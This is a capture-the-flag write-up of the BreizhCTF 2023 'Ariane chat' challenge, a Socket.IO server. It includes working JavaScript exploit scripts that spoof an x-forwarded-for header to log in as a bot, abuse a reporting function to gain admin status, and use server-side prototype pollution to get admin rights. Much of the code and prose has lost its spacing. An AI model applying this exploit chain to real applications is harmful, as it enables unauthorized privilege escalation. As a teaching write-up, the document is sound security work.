In this article, we will solve the second hardest web challenge of the BreizhCTF 2023. Ariane chat is a chat application based on a WebSocket/Socket.IO server. We have access to the backend source code of the challenge.
Description: Ariane chat offers a new online chat service. It is equipped with intelligent moderation, but it is struggling to gather funding.
TL;DR
The goal is to exploit a lack of access control in order to reach a function vulnerable to Server-Side Prototype Pollution (SSPP). Then, change the admin property to true to obtain an administrator account when creating a new user and retrieve the flag.
Overview
The chat application is based on Socket.IO, a library that enables real-time, bidirectional and event-based communication between the browser and the server using WebSockets.
The image below describes the file tree of the application’s source code.
The file defines the following Socket.IO listeners:chat.gateway.ts
Functions
Description
Pre-requisites
login
Login as a with a Humanusername
loginAsBot
Login as a with a Botusername
x-forwarded-for must be 127.0.0.1
loginAsAdmin
Login as an with a and a Adminusernamepassword
isAdmin must be and not authenticatedtrue
sendMessage
Send a message to the chat ( and parameters)authorNamemessage
Authenticated
reportClient
Report a with a usernamereason
Authenticated as Bot
banClient
Ban a with a messagereason
Authenticated as Admin
getBanList
List of banned people
Authenticated as Admin
For example, there are the two functions/listeners to login as a Human and send a message to everyone in the chat:
The flag will be sent if we are able to log in as an admin. The function does not verify the username and password, rather, we only need to pass the condition to obtain the flag.loginAsAdminif (client.isAdmin)
exportclassChatGatewayimplementsOnGatewayConnection,OnGatewayDisconnect{// ...
@UsePipes(newValidationPipe())@SubscribeMessage('loginAsAdmin')asyncloginAsAdmin(@ConnectedSocket()socket:Socket,@MessageBody()body:LoginDto){if(!body.password){thrownewWsException('A password is required to authenticate as admin');}if(this.chatService.getClientBySocket(socket.id)){thrownewWsException('You are already logged in');}constclient=newClient(socket,ClientClass.HUMAN);client.username=body.username;this.chatService.addClient(socket.id,client);// TODO: Admin authentication
// if (crypto.createHash('sha512').update(body.password).digest('hex') === 'TODO') {
// client.isAdmin = true;
// }
if(client.isAdmin){socket.emit('onmessage','Welcome home admin, BZHCTF{}');}}
Within this section, we have outlined the functions of the chat application and identified the objective of the challenge.
Exploitation
SSPP (Server-Side Prototype Pollution) is a type of prototype pollution that operates on the server. Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. What is prototype pollution?
Identify the SSPP
The function from the file is vulnerable to SSPP (Server-Side Prototype Pollution).getCanceledPeoplemoderation.service.ts
Since there are no restrictions on the variables, we have the ability to manipulate the values of , , and . As a result, we can modify the default value of the property for an object to .usernamemessagereasonisAdmintrue
1
2
3
4
5
6
letusername="__proto__";letmessage="isAdmin";letreason="true";// any string with length >= 1 to pass the condition
list[username][message]=reason// list["__proto__"]["isAdmin"] = "true"
Since is initially , the prototype pollution will set the new default value of the property. To set up the SSPP, we must take the following steps:client.isAdminundefinedisAdmin
Register a Human named __proto__
Send the message isAdmin
Find a way to ban the message isAdmin with a reason to true (covered in the next section)
In this section, we have found the main vulnerability of the challenge which is an SSPP (Server-Side Prototype Pollution). However, we cannot directly use it, this will be explain in the next section.
Trigger the SSPP
The vulnerable function is only called by the listener which is reserved for administrators.getCanceledPeoplegetBanList
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
exportclassChatGatewayimplementsOnGatewayConnection,OnGatewayDisconnect{// ...
@SubscribeMessage('getBanList')asyncgetBanList(@ConnectedSocket()socket:Socket){constclient=this.chatService.getClientBySocket(socket.id);if(!client){thrownewWsException('Not authenticated');}if(!client.isAdmin){thrownewWsException('Only moderators are allowed to list banned people');}socket.emit('setBanList',this.moderationService.getCanceledPeople());}
We have a problem! To become an administrator, we need to use the function which is called by the listener which is reserved for administrators. It seems to be rabbit hole but its not ! Why ? Because there is another vulnerability in the code.getCanceledPeoplegetBanList
In the (suspicious) function we can modify a property of an authenticated client. For example, we can set . This will allow us to bypass the condition inside . However we cannot bypass the condition in because this function require an unauthenticated client.susclient['isAdmin'] = 'suspicious';if (!client.isAdmin)getBanListif (client.isAdmin)loginAsAdmin
exportclassChatGatewayimplementsOnGatewayConnection,OnGatewayDisconnect{// ...
@UsePipes(newValidationPipe())@SubscribeMessage('loginAsBot')asyncloginAsBot(@ConnectedSocket()socket:Socket,@MessageBody()body:LoginDto){constip=[socket.handshake.headers['x-forwarded-for'],socket.handshake.address];if(!ip.includes('127.0.0.1')){thrownewWsException('Unauthorized');}constclient=newClient(socket,ClientClass.BOT);client.username=body.username;this.chatService.addClient(socket.id,client);}// ...
@UsePipes(newValidationPipe())@SubscribeMessage('reportClient')asyncreportClient(@ConnectedSocket()socket:Socket,@MessageBody()body:ReportClientDto){const{username,reason}=body;// Authenticate client
constclient=this.chatService.getClientBySocket(socket.id);if(!client){thrownewWsException('Not authenticated');}if(client.classType!==ClientClass.BOT){thrownewWsException('Not a bot');}if(client.username===username){thrownewWsException('You cannot report yourself');}constsuspected=this.chatService.getClientByUsername(username);if(suspected.classType===ClientClass.BOT||suspected.isAdmin){thrownewWsException('You cannot report admins or bots');}if(!suspected){thrownewWsException('This user does not exist');}this.moderationService.sus(suspected,reason);}
So we can create a little PoC that will call the function:getBanList
Register a Human
Register a Bot
The Bot will report the Human with a reason (so the Human will be an administrator)isAdmin
The Human (administrator) will call the functiongetBanList
import{io}from"socket.io-client";// const url = "ws://localhost:8888";
consturl="https://arianechat-3bb948c9ac36cf54.ctf.bzh/";consthuman=io(url);constbot=io(url,{extraHeaders:{"x-forwarded-for":"127.0.0.1"}});// ------------- RECV -------------------
human.onAny((eventName,...args)=>{console.log(`HUMAN RECV (${eventName}):`)console.log(args);});bot.onAny((eventName,...args)=>{console.log(`BOT RECV (${eventName}):`)console.log(args);});// ------------- SEND -------------------
// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login",{"username":"toto"});// Bot that will report the Human
bot.emit("loginAsBot",{"username":"bot"});setTimeout(()=>{// The Human is now admin, he can call the getBanList function
bot.emit("reportClient",{"username":"toto","reason":"isAdmin"});setTimeout(()=>{// The Human triggers the SSPP
human.emit("getBanList");},500);},500)
After executing the script, we successfully call the function which returns an empty array as expected since we have not banned any users yet.getBanList
1
2
3
$ node test.mjs
HUMAN RECV (setBanList):
[{}]
Final PoC
Having identified the SSPP and our ability to trigger it, we can merge the two steps above to construct the complete exploit chain. Here is a documented the PoC in Javascript:
import{io}from"socket.io-client";consturl="ws://localhost:8888";consthuman=io(url);constbanUser=io(url);constflagUser=io(url);constbot=io(url,{extraHeaders:{"x-forwarded-for":"127.0.0.1"}});// ------------- RECV -------------------
constusers={"human":human,"banUser":banUser,"bot":bot,"flagUser":flagUser};for(letkeyinusers){letsocket=users[key];// Listen on all emitters
socket.onAny((eventName,...args)=>{console.log(`${key} RECV (${eventName}):`)console.log(args);});}// ------------- SEND -------------------
constsleep=1000;// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login",{"username":"toto"});// Send the message that will be ban by the futur admin Human
banUser.emit("login",{"username":"__proto__"});banUser.emit("sendMessage",{"authorName":"__proto__","message":"isAdmin"});// Bot that will report the Human
bot.emit("loginAsBot",{"username":"bot"});setTimeout(()=>{// The Human is now admin
// he can call banClient & getBanList functions
bot.emit("reportClient",{"username":"toto","reason":"isAdmin"});setTimeout(()=>{// Prepare the SSPP
// list[username][message] = reason
// list[__proto__][isAdmin] = true
human.emit("banClient",{"message":"isAdmin","reason":"true"})setTimeout(()=>{// The Human triggers the SSPP
human.emit("getBanList");setTimeout(()=>{// Login as admin to get the flag
flagUser.emit("loginAsAdmin",{"username":"whatever","password":"whatever"});},sleep);},sleep);},sleep);},sleep);